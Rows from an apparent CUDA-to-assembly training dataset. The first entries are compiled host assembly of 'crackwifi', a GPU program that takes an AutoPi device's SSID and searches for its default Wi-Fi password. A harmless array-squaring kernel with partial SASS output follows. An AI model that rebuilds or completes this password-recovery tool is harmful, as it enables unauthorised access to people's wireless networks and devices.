movl $17, %esi
call cudaMallocManaged@PLT
leaq 24(%rsp), %rdi
movl $1, %edx
movl $33, %esi
call cudaMallocManaged@PLT
movq (%rsp), %rax
movl $0, (%rax)
movq 8(%rbx), %rsi
movq 8(%rsp), %rdi
call _Z10ssidToIntsPjPc
movq 16(%rsp), %rax
movb $0, 16(%rax)
movq 24(%rsp), %rax
movb $0, 32(%rax)
movl $256, 44(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $4096, 32(%rsp)
movl $1, 36(%rsp)
movl $1, 40(%rsp)
movl $0, %r9d
movl $0, %r8d
movq 44(%rsp), %rdx
movl $1, %ecx
movq 32(%rsp), %rdi
movl $1, %esi
call __cudaPushCallConfiguration@PLT
testl %eax, %eax
je .L30
.L25:
call cudaDeviceSynchronize@PLT
movq (%rsp), %rax
cmpl $0, (%rax)
je .L26
leaq 59(%rsp), %r12
movl $12, %edx
movq 24(%rsp), %rsi
movq %r12, %rdi
call strncpy@PLT
movb $0, 71(%rsp)
movq 16(%rsp), %rcx
leaq .LC5(%rip), %rdx
leaq .LC6(%rip), %rbp
movq %rbp, %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movq 24(%rsp), %rcx
leaq .LC7(%rip), %rdx
movq %rbp, %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movq 8(%rbx), %rcx
leaq .LC8(%rip), %rdx
leaq .LC9(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movq %r12, %rcx
leaq .LC10(%rip), %rdx
movq %rbp, %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
.L27:
movq (%rsp), %rdi
call cudaFree@PLT
movq 8(%rsp), %rdi
call cudaFree@PLT
movq 16(%rsp), %rdi
call cudaFree@PLT
movq 24(%rsp), %rdi
call cudaFree@PLT
movq 72(%rsp), %rax
subq %fs:40, %rax
jne .L31
movl $0, %eax
addq $80, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 32
popq %rbx
.cfi_def_cfa_offset 24
popq %rbp
.cfi_def_cfa_offset 16
popq %r12
.cfi_def_cfa_offset 8
ret
.L22:
.cfi_restore_state
movq 72(%rsp), %rax
subq %fs:40, %rax
jne .L32
movq %rbx, %rdi
call _Z5usagePPc
.L32:
call __stack_chk_fail@PLT
.L30:
movq 24(%rsp), %rcx
movq 16(%rsp), %rdx
movq (%rsp), %rsi
movq 8(%rsp), %rdi
call _Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_
jmp .L25
.L26:
movq 8(%rbx), %rdx
leaq .LC11(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
jmp .L27
.L31:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2069:
.size main, .-main
.section .rodata.str1.1
.LC12:
.string "_Z9findMatchPjS_PcS0_"
.LC13:
.string "charLen"
.LC14:
.string "pwdbitlen"
.LC15:
.string "hexLookup"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2097:
.cfi_startproc
endbr64
pushq %rbx
.cfi_def_cfa_offset 16
.cfi_offset 3, -16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rbx
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC12(%rip), %rdx
movq %rdx, %rcx
leaq _Z9findMatchPjS_PcS0_(%rip), %rsi
movq %rax, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
movl $4, %r9d
movl $0, %r8d
leaq .LC13(%rip), %rdx
movq %rdx, %rcx
leaq _ZL7charLen(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterVar@PLT
addq $16, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
movl $4, %r9d
movl $0, %r8d
leaq .LC14(%rip), %rdx
movq %rdx, %rcx
leaq _ZL9pwdbitlen(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterVar@PLT
addq $16, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
movl $17, %r9d
movl $0, %r8d
leaq .LC15(%rip), %rdx
movq %rdx, %rcx
leaq _ZL9hexLookup(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterVar@PLT
addq $16, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
popq %rbx
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2097:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.section .rodata
.align 16
.type _ZL9hexLookup, @object
.size _ZL9hexLookup, 17
_ZL9hexLookup:
.string "0123456789abcdef"
.align 4
.type _ZL9pwdbitlen, @object
.size _ZL9pwdbitlen, 4
_ZL9pwdbitlen:
.long 136
.align 4
.type _ZL7charLen, @object
.size _ZL7charLen, 4
_ZL7charLen:
.long 8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: | .text
.file "crackwifi.hip"
.globl _Z24__device_stub__findMatchPjS_PcS0_ # -- Begin function _Z24__device_stub__findMatchPjS_PcS0_
.p2align 4, 0x90
.type _Z24__device_stub__findMatchPjS_PcS0_,@function
_Z24__device_stub__findMatchPjS_PcS0_: # @_Z24__device_stub__findMatchPjS_PcS0_
.cfi_startproc
# %bb.0:
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 72(%rsp)
movq %rsi, 64(%rsp)
movq %rdx, 56(%rsp)
movq %rcx, 48(%rsp)
leaq 72(%rsp), %rax
movq %rax, 80(%rsp)
leaq 64(%rsp), %rax
movq %rax, 88(%rsp)
leaq 56(%rsp), %rax
movq %rax, 96(%rsp)
leaq 48(%rsp), %rax
movq %rax, 104(%rsp)
leaq 32(%rsp), %rdi
leaq 16(%rsp), %rsi
leaq 8(%rsp), %rdx
movq %rsp, %rcx
callq __hipPopCallConfiguration
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
movq 16(%rsp), %rcx
movl 24(%rsp), %r8d
leaq 80(%rsp), %r9
movl $_Z9findMatchPjS_PcS0_, %edi
pushq (%rsp)
.cfi_adjust_cfa_offset 8
pushq 16(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $136, %rsp
.cfi_adjust_cfa_offset -136
retq
.Lfunc_end0:
.size _Z24__device_stub__findMatchPjS_PcS0_, .Lfunc_end0-_Z24__device_stub__findMatchPjS_PcS0_
.cfi_endproc
# -- End function
.globl _Z5usagePPc # -- Begin function _Z5usagePPc
.p2align 4, 0x90
.type _Z5usagePPc,@function
_Z5usagePPc: # @_Z5usagePPc
.cfi_startproc
# %bb.0:
pushq %rax
.cfi_def_cfa_offset 16
movq (%rdi), %rdx
movl $.L.str, %edi
movl $.L.str.1, %esi
movl $.L.str.2, %ecx
xorl %eax, %eax
callq printf
xorl %edi, %edi
callq exit
.Lfunc_end1:
.size _Z5usagePPc, .Lfunc_end1-_Z5usagePPc
.cfi_endproc
# -- End function
.globl _Z10ssidToIntsPjPc # -- Begin function _Z10ssidToIntsPjPc
.p2align 4, 0x90
.type _Z10ssidToIntsPjPc,@function
_Z10ssidToIntsPjPc: # @_Z10ssidToIntsPjPc
.cfi_startproc
# %bb.0:
pushq %r15
.cfi_def_cfa_offset 16
pushq %r14
.cfi_def_cfa_offset 24
pushq %r12
.cfi_def_cfa_offset 32
pushq %rbx
.cfi_def_cfa_offset 40
subq $40, %rsp
.cfi_def_cfa_offset 80
.cfi_offset %rbx, -40
.cfi_offset %r12, -32
.cfi_offset %r14, -24
.cfi_offset %r15, -16
movq %rsi, %r8
movq %rdi, %rbx
xorl %r15d, %r15d
leaq 16(%rsp), %rdi
movl $17, %esi
movl $.L.str.3, %edx
movl $.L.str.4, %ecx
xorl %eax, %eax
callq snprintf
movb $0, 15(%rsp)
leaq 22(%rsp), %r12
leaq 7(%rsp), %r14
.p2align 4, 0x90
.LBB2_1: # %.preheader
# =>This Loop Header: Depth=1
# Child Loop BB2_2 Depth 2
movq %r12, %rax
xorl %ecx, %ecx
.p2align 4, 0x90
.LBB2_2: # Parent Loop BB2_1 Depth=1
# => This Inner Loop Header: Depth=2
leaq (%r15,%rcx), %rdx
xorq $7, %rdx
movzbl 16(%rsp,%rdx), %edx
movb %dl, 8(%rsp,%rcx)
movzbl (%rax), %edx
movb %dl, 7(%rsp,%rcx)
leaq 2(%rcx), %rdx
addq $-2, %rax
cmpq $6, %rcx
movq %rdx, %rcx
jb .LBB2_2
# %bb.3: # in Loop: Header=BB2_1 Depth=1
movq %r14, %rdi
xorl %esi, %esi
movl $16, %edx
callq __isoc23_strtoul
movq %r15, %rcx
shrq %rcx
movl %eax, (%rbx,%rcx)
leaq 8(%r15), %rax
addq $8, %r12
testq %r15, %r15
movq %rax, %r15
je .LBB2_1
# %bb.4:
addq $40, %rsp
.cfi_def_cfa_offset 40
popq %rbx
.cfi_def_cfa_offset 32
popq %r12
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
retq
.Lfunc_end2:
.size _Z10ssidToIntsPjPc, .Lfunc_end2-_Z10ssidToIntsPjPc
.cfi_endproc
# -- End function
.globl main # -- Begin function main
.p2align 4, 0x90
.type main,@function
main: # @main
.cfi_startproc
# %bb.0:
pushq %r15
.cfi_def_cfa_offset 16
pushq %r14
.cfi_def_cfa_offset 24
pushq %r13
.cfi_def_cfa_offset 32
pushq %r12
.cfi_def_cfa_offset 40
pushq %rbx
.cfi_def_cfa_offset 48
subq $144, %rsp
.cfi_def_cfa_offset 192
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r13, -32
.cfi_offset %r14, -24
.cfi_offset %r15, -16
movq %rsi, %rbx
cmpl $2, %edi
jne .LBB3_12
# %bb.1:
movq 8(%rbx), %rdi
callq strlen
cmpq $12, %rax
jne .LBB3_12
# %bb.2:
leaq 16(%rsp), %rdi
movl $4, %esi
movl $1, %edx
callq hipMallocManaged
leaq 40(%rsp), %rdi
movl $8, %esi
movl $1, %edx
callq hipMallocManaged
leaq 8(%rsp), %rdi
movl $17, %esi
movl $1, %edx
callq hipMallocManaged
movq %rsp, %rdi
movl $33, %esi
movl $1, %edx
callq hipMallocManaged
movq 16(%rsp), %rax
movl $0, (%rax)
movq 40(%rsp), %r15
movq 8(%rbx), %r8
xorl %r12d, %r12d
leaq 48(%rsp), %rdi
movl $17, %esi
movl $.L.str.3, %edx
movl $.L.str.4, %ecx
xorl %eax, %eax
callq snprintf
movb $0, 32(%rsp)
leaq 54(%rsp), %r13
leaq 24(%rsp), %r14
.p2align 4, 0x90
.LBB3_3: # %.preheader.i
# =>This Loop Header: Depth=1
# Child Loop BB3_4 Depth 2
movq %r13, %rax
xorl %ecx, %ecx
.p2align 4, 0x90
.LBB3_4: # Parent Loop BB3_3 Depth=1
# => This Inner Loop Header: Depth=2
leaq (%r12,%rcx), %rdx
xorq $7, %rdx
movzbl 48(%rsp,%rdx), %edx
movb %dl, 25(%rsp,%rcx)
movzbl (%rax), %edx
movb %dl, 24(%rsp,%rcx)
leaq 2(%rcx), %rdx
addq $-2, %rax
cmpq $6, %rcx
movq %rdx, %rcx
jb .LBB3_4
# %bb.5: # in Loop: Header=BB3_3 Depth=1
movq %r14, %rdi
xorl %esi, %esi
movl $16, %edx
callq __isoc23_strtoul
movq %r12, %rcx
shrq %rcx
movl %eax, (%r15,%rcx)
leaq 8(%r12), %rax
addq $8, %r13
testq %r12, %r12
movq %rax, %r12
je .LBB3_3
# %bb.6: # %_Z10ssidToIntsPjPc.exit
movq 8(%rsp), %rax
movb $0, 16(%rax)
movq (%rsp), %rax
movb $0, 32(%rax)
movabsq $4294967552, %rdx # imm = 0x100000100
leaq 3840(%rdx), %rdi
movl $1, %esi
movl $1, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq __hipPushCallConfiguration
testl %eax, %eax
jne .LBB3_8
# %bb.7:
movq 40(%rsp), %rax
movq 16(%rsp), %rcx
movq 8(%rsp), %rdx
movq (%rsp), %rsi
movq %rax, 136(%rsp)
movq %rcx, 128(%rsp)
movq %rdx, 120(%rsp)
movq %rsi, 112(%rsp)
leaq 136(%rsp), %rax
movq %rax, 48(%rsp)
leaq 128(%rsp), %rax
movq %rax, 56(%rsp)
leaq 120(%rsp), %rax
movq %rax, 64(%rsp)
leaq 112(%rsp), %rax
movq %rax, 72(%rsp)
leaq 24(%rsp), %rdi
leaq 96(%rsp), %rsi
leaq 88(%rsp), %rdx
leaq 80(%rsp), %rcx
callq __hipPopCallConfiguration
movq 24(%rsp), %rsi
movl 32(%rsp), %edx
movq 96(%rsp), %rcx
movl 104(%rsp), %r8d
leaq 48(%rsp), %r9
movl $_Z9findMatchPjS_PcS0_, %edi
pushq 80(%rsp)
.cfi_adjust_cfa_offset 8
pushq 96(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $16, %rsp
.cfi_adjust_cfa_offset -16
.LBB3_8:
callq hipDeviceSynchronize
movq 16(%rsp), %rax
cmpl $0, (%rax)
je .LBB3_10
# %bb.9:
movq (%rsp), %rsi
leaq 48(%rsp), %r14
movl $12, %edx
movq %r14, %rdi
callq strncpy
movb $0, 60(%rsp)
movq 8(%rsp), %rdx
movl $.L.str.5, %edi
movl $.L.str.6, %esi
xorl %eax, %eax
callq printf
movq (%rsp), %rdx
movl $.L.str.5, %edi
movl $.L.str.7, %esi
xorl %eax, %eax
callq printf
movq 8(%rbx), %rdx
movl $.L.str.8, %edi
movl $.L.str.9, %esi
xorl %eax, %eax
callq printf
movl $.L.str.5, %edi
movl $.L.str.10, %esi
movq %r14, %rdx
xorl %eax, %eax
callq printf
jmp .LBB3_11
.LBB3_10:
movq 8(%rbx), %rsi
movl $.L.str.11, %edi
xorl %eax, %eax
callq printf
.LBB3_11:
movq 16(%rsp), %rdi
callq hipFree
movq 40(%rsp), %rdi
callq hipFree
movq 8(%rsp), %rdi
callq hipFree
movq (%rsp), %rdi
callq hipFree
xorl %eax, %eax
addq $144, %rsp
.cfi_def_cfa_offset 48
popq %rbx
.cfi_def_cfa_offset 40
popq %r12
.cfi_def_cfa_offset 32
popq %r13
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
retq
.LBB3_12:
.cfi_def_cfa_offset 192
movq (%rbx), %rdx
movl $.L.str, %edi
movl $.L.str.1, %esi
movl $.L.str.2, %ecx
xorl %eax, %eax
callq printf
xorl %edi, %edi
callq exit
.Lfunc_end3:
.size main, .Lfunc_end3-main
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB4_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB4_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z9findMatchPjS_PcS0_, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end4:
.size __hip_module_ctor, .Lfunc_end4-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB5_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB5_2:
retq
.Lfunc_end5:
.size __hip_module_dtor, .Lfunc_end5-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z9findMatchPjS_PcS0_,@object # @_Z9findMatchPjS_PcS0_
.section .rodata,"a",@progbits
.globl _Z9findMatchPjS_PcS0_
.p2align 3, 0x0
_Z9findMatchPjS_PcS0_:
.quad _Z24__device_stub__findMatchPjS_PcS0_
.size _Z9findMatchPjS_PcS0_, 8
.type .L.str,@object # @.str
.section .rodata.str1.1,"aMS",@progbits,1
.L.str:
.asciz "%-7s %s %s\n"
.size .L.str, 12
.type .L.str.1,@object # @.str.1
.L.str.1:
.asciz "Usage:"
.size .L.str.1, 7
.type .L.str.2,@object # @.str.2
.L.str.2:
.asciz "<12 hex SSID>"
.size .L.str.2, 14
.type .L.str.3,@object # @.str.3
.L.str.3:
.asciz "%s%s"
.size .L.str.3, 5
.type .L.str.4,@object # @.str.4
.L.str.4:
.asciz "0000"
.size .L.str.4, 5
.type .L.str.5,@object # @.str.5
.L.str.5:
.asciz "%-10s %s\n"
.size .L.str.5, 10
.type .L.str.6,@object # @.str.6
.L.str.6:
.asciz "Serial:"
.size .L.str.6, 8
.type .L.str.7,@object # @.str.7
.L.str.7:
.asciz "Hash:"
.size .L.str.7, 6
.type .L.str.8,@object # @.str.8
.L.str.8:
.asciz "%-10s AutoPi-%s\n"
.size .L.str.8, 17
.type .L.str.9,@object # @.str.9
.L.str.9:
.asciz "SSID:"
.size .L.str.9, 6
.type .L.str.10,@object # @.str.10
.L.str.10:
.asciz "Password:"
.size .L.str.10, 10
.type .L.str.11,@object # @.str.11
.L.str.11:
.asciz "No match found for SSID %s\n"
.size .L.str.11, 28
.type .L__unnamed_1,@object # @0
.L__unnamed_1:
.asciz "_Z9findMatchPjS_PcS0_"
.size .L__unnamed_1, 22
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z24__device_stub__findMatchPjS_PcS0_
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z9findMatchPjS_PcS0_
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA device assembly. | #include "cuda_runtime.h"
#include "device_launch_parameters.h"
#include <stdio.h>
#include <stdlib.h>
#define SIZE 128
#define THREADS 32
__global__ void squareWithForLoop(float * d_arr, size_t maxLoop, size_t increment)
{
float value;
size_t index;
size_t i;
index = threadIdx.x;
for (i = 0; i < maxLoop; i++) {
value = d_arr[index];
d_arr[index] = value * value;
index += increment;
}
}
int main(int argc, char ** argv)
{
float * h_array;
float * d_array;
size_t totalArraySize;
totalArraySize = sizeof(float) * SIZE;
h_array = (float *)malloc(totalArraySize);
for (size_t i = 0; i < SIZE; i++)
h_array[i] = i;
cudaMalloc((void **)&d_array, totalArraySize);
cudaMemcpy(d_array, h_array, totalArraySize, cudaMemcpyHostToDevice);
squareWithForLoop<<<1, THREADS >>> (d_array, SIZE/THREADS, THREADS);
cudaMemcpy(h_array, d_array, totalArraySize, cudaMemcpyDeviceToHost);
cudaFree(d_array);
for (size_t i = 0; i < SIZE; i++) {
printf("%8.3f", h_array[i]);
printf(((i % 7) != 6) ? "\t" : "\n");
}
printf("\n");
free(h_array);
return 0;
} | code for sm_80
Function : _Z17squareWithForLoopPfmm
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ IMAD.MOV.U32 R1, RZ, RZ, c[0x0][0x28] ; /* 0x00000a00ff017624 */
/* 0x000fe400078e00ff */
/*0010*/ ISETP.NE.U32.AND P0, PT, RZ, c[0x0][0x168], PT ; /* 0x00005a00ff007a0c */
/* 0x000fc80003f05070 */
/*0020*/ ISETP.NE.AND.EX P0, PT, RZ, c[0x0][0x16c], PT, P0 ; /* 0x00005b00ff007a0c */
/* 0x000fda0003f05300 */
/*0030*/ @!P0 EXIT ; /* 0x000000000000894d */
/* 0x000fea0003800000 */
/*0040*/ IMAD.MOV.U32 R2, RZ, RZ, c[0x0][0x168] ; /* 0x00005a00ff027624 */
/* 0x000fe200078e00ff */
/*0050*/ S2R R3, SR_TID.X ; /* 0x0000000000037919 */
/* 0x000e220000002100 */
/*0060*/ IMAD.MOV.U32 R0, RZ, RZ, c[0x0][0x16c] ; /* 0x00005b00ff007624 */
/* 0x000fe200078e00ff */
/*0070*/ ULDC.64 UR10, c[0x0][0x118] ; /* 0x00004600000a7ab9 */
/* 0x000fe40000000a00 */
/*0080*/ IADD3 R4, P1, R2.reuse, -0x1, RZ ; /* 0xffffffff02047810 */
/* 0x040fe40007f3e0ff */
/*0090*/ LOP3.LUT R2, R2, 0x3, RZ, 0xc0, !PT ; /* 0x0000000302027812 */
/* 0x000fe400078ec0ff */
/*00a0*/ ISETP.GE.U32.AND P0, PT, R4, 0x3, PT ; /* 0x000000030400780c */
/* 0x000fe20003f06070 */
/*00b0*/ IMAD.MOV.U32 R4, RZ, RZ, RZ ; /* 0x000000ffff047224 */
/* 0x000fe200078e00ff */
/*00c0*/ IADD3.X R0, R0, -0x1, RZ, P1, !PT ; /* 0xffffffff00007810 */
/* 0x000fc80000ffe4ff */
/*00d0*/ ISETP.GE.U32.AND.EX P0, PT, R0, RZ, PT, P0 ; /* 0x000000ff0000720c */
/* 0x000fda0003f06100 */
/*00e0*/ @!P0 BRA 0xfe0 ; /* 0x00000ef000008947 */
/* 0x000fea0003800000 */
/*00f0*/ IADD3 R5, P0, R2, -c[0x0][0x168], RZ ; /* 0x80005a0002057a10 */
/* 0x001fe20007f1e0ff */
/*0100*/ UMOV UR6, 0x4 ; /* 0x0000000400067882 */
/* 0x000fe20000000000 */
/*0110*/ LEA R12, P1, R3.reuse, c[0x0][0x160], 0x2 ; /* 0x00005800030c7a11 */
/* 0x040fe200078210ff */
/*0120*/ ULDC.64 UR8, c[0x0][0x170] ; /* 0x00005c0000087ab9 */
/* 0x000fe40000000a00 */
/*0130*/ IMAD.X R0, RZ, RZ, ~c[0x0][0x16c], P0 ; /* 0x80005b00ff007624 */
/* 0x000fe200000e06ff */
/*0140*/ UIMAD.WIDE.U32 UR4, UR6, UR8, URZ ; /* 0x00000008060472a5 */
/* 0x000fe2000f8e003f */
/*0150*/ LEA.HI.X R13, R3, c[0x0][0x164], R4, 0x2, P1 ; /* 0x00005900030d7a11 */
/* 0x000fe200008f1404 */
/*0160*/ UIMAD UR6, UR6, UR9, URZ ; /* 0x00000009060672a4 */
/* 0x000fe4000f8e023f */
/*0170*/ ISETP.GE.AND P0, PT, R0, RZ, PT ; /* 0x000000ff0000720c */
/* 0x000fc40003f06270 */
/*0180*/ UIADD3 UR6, UR5, UR6, URZ ; /* 0x0000000605067290 */
/* 0x000fd6000fffe03f */
/*0190*/ @P0 BRA 0xdb0 ; /* 0x00000c1000000947 */
/* 0x000fea0003800000 */
/*01a0*/ IADD3 R6, P0, RZ, -R5, RZ ; /* 0x80000005ff067210 */
/* 0x000fc80007f1e0ff */
/*01b0*/ ISETP.GT.U32.AND P1, PT, R6, 0xc, PT ; /* 0x0000000c0600780c */
/* 0x000fe20003f24070 */
/*01c0*/ IMAD.X R6, RZ, RZ, ~R0, P0 ; /* 0x000000ffff067224 */
/* 0x000fe200000e0e00 */
/*01d0*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x80, 0x0 ; /* 0x000000000000781c */
/* 0x000fc80003f0f070 */
/*01e0*/ ISETP.GT.AND.EX P1, PT, R6, RZ, PT, P1 ; /* 0x000000ff0600720c */
/* 0x000fda0003f24310 */
/*01f0*/ @!P1 BRA 0x980 ; /* 0x0000078000009947 */
/* 0x000fea0003800000 */
/*0200*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0e170 */
/*0210*/ IMAD.MOV.U32 R6, RZ, RZ, R12 ; /* 0x000000ffff067224 */
/* 0x001fe400078e000c */
/*0220*/ IMAD.MOV.U32 R7, RZ, RZ, R13 ; /* 0x000000ffff077224 */
/* 0x000fca00078e000d */
/*0230*/ LDG.E R9, [R6.64] ; /* 0x0000000a06097981 */
/* 0x000ea2000c1e1900 */
/*0240*/ IADD3 R8, P1, R6, UR4, RZ ; /* 0x0000000406087c10 */
/* 0x000fe2000ff3e0ff */
/*0250*/ FMUL R15, R9, R9 ; /* 0x00000009090f7220 */
/* 0x004fc60000400000 */
/*0260*/ IADD3.X R9, R7, UR6, RZ, P1, !PT ; /* 0x0000000607097c10 */
/* 0x000fe40008ffe4ff */
/*0270*/ STG.E [R6.64], R15 ; /* 0x0000000f06007986 */
/* 0x0001e8000c10190a */
/*0280*/ LDG.E R12, [R8.64] ; /* 0x0000000a080c7981 */
/* 0x000ea2000c1e1900 */
/*0290*/ IADD3 R10, P1, R8, UR4, RZ ; /* 0x00000004080a7c10 */
/* 0x000fc8000ff3e0ff */
/*02a0*/ IADD3.X R11, R9, UR6, RZ, P1, !PT ; /* 0x00000006090b7c10 */
/* 0x000fe20008ffe4ff */
/*02b0*/ FMUL R17, R12, R12 ; /* 0x0000000c0c117220 */
/* 0x004fca0000400000 */
/*02c0*/ STG.E [R8.64], R17 ; /* 0x0000001108007986 */
/* 0x0003e8000c10190a */
/*02d0*/ LDG.E R14, [R10.64] ; /* 0x0000000a0a0e7981 */
/* 0x000ea2000c1e1900 */
/*02e0*/ IADD3 R12, P1, R10, UR4, RZ ; /* 0x000000040a0c7c10 */
/* 0x000fc8000ff3e0ff */
/*02f0*/ IADD3.X R13, R11, UR6, RZ, P1, !PT ; /* 0x000000060b0d7c10 */
/* 0x000fe20008ffe4ff */
/*0300*/ FMUL R19, R14, R14 ; /* 0x0000000e0e137220 */
/* 0x004fca0000400000 */
/*0310*/ STG.E [R10.64], R19 ; /* 0x000000130a007986 */
/* 0x0005e8000c10190a */
/*0320*/ LDG.E R14, [R12.64] ; /* 0x0000000a0c0e7981 */
/* 0x000ee2000c1e1900 */
/*0330*/ IADD3 R6, P1, R12, UR4, RZ ; /* 0x000000040c067c10 */
/* 0x001fc8000ff3e0ff */
/*0340*/ IADD3.X R7, R13, UR6, RZ, P1, !PT ; /* 0x000000060d077c10 */
/* 0x000fe20008ffe4ff */
/*0350*/ FMUL R15, R14, R14 ; /* 0x0000000e0e0f7220 */
/* 0x008fca0000400000 */
/*0360*/ STG.E [R12.64], R15 ; /* 0x0000000f0c007986 */
/* 0x0001e8000c10190a */
/*0370*/ LDG.E R14, [R6.64] ; /* 0x0000000a060e7981 */
/* 0x000ee2000c1e1900 */
/*0380*/ IADD3 R8, P1, R6, UR4, RZ ; /* 0x0000000406087c10 */
/* 0x002fc8000ff3e0ff */
/*0390*/ IADD3.X R9, R7, UR6, RZ, P1, !PT ; /* 0x0000000607097c10 */
/* 0x000fe20008ffe4ff */
/*03a0*/ FMUL R17, R14, R14 ; /* 0x0000000e0e117220 */
/* 0x008fca0000400000 */
/*03b0*/ STG.E [R6.64], R17 ; /* 0x0000001106007986 */
/* 0x0003e8000c10190a */
/*03c0*/ LDG.E R14, [R8.64] ; /* 0x0000000a080e7981 */
/* 0x000ee2000c1e1900 */
/*03d0*/ IADD3 R10, P1, R8, UR4, RZ ; /* 0x00000004080a7c10 */
/* 0x004fc8000ff3e0ff */
/*03e0*/ IADD3.X R11, R9, UR6, RZ, P1, !PT ; /* 0x00000006090b7c10 */
/* 0x000fe20008ffe4ff */
